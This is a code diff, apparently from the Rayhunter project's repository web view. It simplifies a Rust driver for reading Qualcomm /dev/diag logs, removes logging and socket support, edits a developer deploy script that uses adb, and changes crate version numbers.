read_buf: vec![0; BUFFER_LEN],
|
||||
file: DiagIO::Socket(socket),
|
||||
use_mdm: 0,
|
||||
})
|
||||
}
|
||||
Ok(DiagDevice {
|
||||
read_buf: vec![0; BUFFER_LEN],
|
||||
file: diag_file,
|
||||
use_mdm,
|
||||
})
|
||||
}
|
||||
|
||||
pub fn as_stream(
|
||||
@@ -174,21 +157,14 @@ impl DiagDevice {
|
||||
}
|
||||
|
||||
async fn get_next_messages_container(&mut self) -> Result<MessagesContainer, DiagDeviceError> {
|
||||
info!("reading messages container...");
|
||||
let mut bytes_read = 0;
|
||||
// TP-Link M7350 sometimes sends too small messages, we need to be able to deal with short reads.
|
||||
while bytes_read <= 8 {
|
||||
bytes_read += match &mut self.file {
|
||||
DiagIO::File(file) => file
|
||||
.read(&mut self.read_buf)
|
||||
.await
|
||||
.map_err(DiagDeviceError::DeviceReadFailed)?,
|
||||
DiagIO::Socket(unix_datagram) => unix_datagram
|
||||
.recv(&mut self.read_buf)
|
||||
.await
|
||||
.map_err(DiagDeviceError::DeviceReadFailed)?,
|
||||
};
|
||||
info!("{bytes_read} bytes read");
|
||||
bytes_read = self
|
||||
.file
|
||||
.read(&mut self.read_buf)
|
||||
.await
|
||||
.map_err(DiagDeviceError::DeviceReadFailed)?;
|
||||
}
|
||||
|
||||
debug!(
|
||||
@@ -213,29 +189,20 @@ impl DiagDevice {
|
||||
}
|
||||
.to_bytes()
|
||||
.expect("Failed to serialize RequestContainer");
|
||||
match &mut self.file {
|
||||
DiagIO::File(file) => {
|
||||
if let Err(err) = file.write(&buf).await {
|
||||
// For reasons I don't entirely understand, calls to write(2) on
|
||||
// /dev/diag always return 0 bytes written, though the written
|
||||
// requests end up being interpreted. As such, we're not concerned
|
||||
// about WriteZero errors
|
||||
if err.kind() != ErrorKind::WriteZero {
|
||||
return Err(DiagDeviceError::DeviceWriteFailed(err));
|
||||
}
|
||||
}
|
||||
if let Err(err) = file.flush().await
|
||||
&& err.kind() != ErrorKind::WriteZero
|
||||
{
|
||||
return Err(DiagDeviceError::DeviceWriteFailed(err));
|
||||
}
|
||||
},
|
||||
DiagIO::Socket(unix_datagram) => {
|
||||
unix_datagram.send(&buf)
|
||||
.await
|
||||
.map_err(DiagDeviceError::DeviceWriteFailed)?;
|
||||
if let Err(err) = self.file.write(&buf).await {
|
||||
// For reasons I don't entirely understand, calls to write(2) on
|
||||
// /dev/diag always return 0 bytes written, though the written
|
||||
// requests end up being interpreted. As such, we're not concerned
|
||||
// about WriteZero errors
|
||||
if err.kind() != ErrorKind::WriteZero {
|
||||
return Err(DiagDeviceError::DeviceWriteFailed(err));
|
||||
}
|
||||
}
|
||||
if let Err(err) = self.file.flush().await
|
||||
&& err.kind() != ErrorKind::WriteZero
|
||||
{
|
||||
return Err(DiagDeviceError::DeviceWriteFailed(err));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -243,8 +210,6 @@ impl DiagDevice {
|
||||
loop {
|
||||
let container = self.get_next_messages_container().await?;
|
||||
if container.data_type != DataType::UserSpace {
|
||||
info!("skipping non-userspace container...");
|
||||
dbg!(&container);
|
||||
continue;
|
||||
}
|
||||
return Ok(container.into_messages());
|
||||
@@ -252,11 +217,9 @@ impl DiagDevice {
|
||||
}
|
||||
|
||||
async fn retrieve_id_ranges(&mut self) -> DiagResult<[u32; 16]> {
|
||||
info!("writing LogConfig request...");
|
||||
let req = Request::LogConfig(LogConfigRequest::RetrieveIdRanges);
|
||||
self.write_request(&req).await?;
|
||||
|
||||
info!("waiting for response...");
|
||||
for msg in self.read_response().await? {
|
||||
match msg {
|
||||
Ok(Message::Log { .. }) => info!("skipping log response..."),
|
||||
@@ -311,11 +274,9 @@ impl DiagDevice {
|
||||
pub async fn config_logs(&mut self) -> DiagResult<()> {
|
||||
info!("retrieving diag logging capabilities...");
|
||||
let log_mask_sizes = self.retrieve_id_ranges().await?;
|
||||
info!("got log mask sizes");
|
||||
|
||||
for (log_type, &log_mask_bitsize) in log_mask_sizes.iter().enumerate() {
|
||||
if log_mask_bitsize > 0 {
|
||||
info!("setting log mask for type {log_type}...");
|
||||
self.set_log_mask(log_type as u32, log_mask_bitsize).await?;
|
||||
info!("enabled logging for log type {log_type}");
|
||||
}
|
||||
|
||||
@@ -1,9 +1,8 @@
|
||||
#!/bin/bash -e
|
||||
pushd daemon/web
|
||||
npm install
|
||||
npm run build
|
||||
popd
|
||||
cargo build-daemon-firmware-devel
|
||||
cargo build --profile firmware-devel --bin rayhunter-daemon --target="armv7-unknown-linux-musleabihf" #--features debug
|
||||
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
|
||||
adb push target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon \
|
||||
/data/rayhunter/rayhunter-daemon
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rootshell"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
edition = "2024"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "telcom-parser"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
edition = "2024"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
Reference in New Issue
Block a user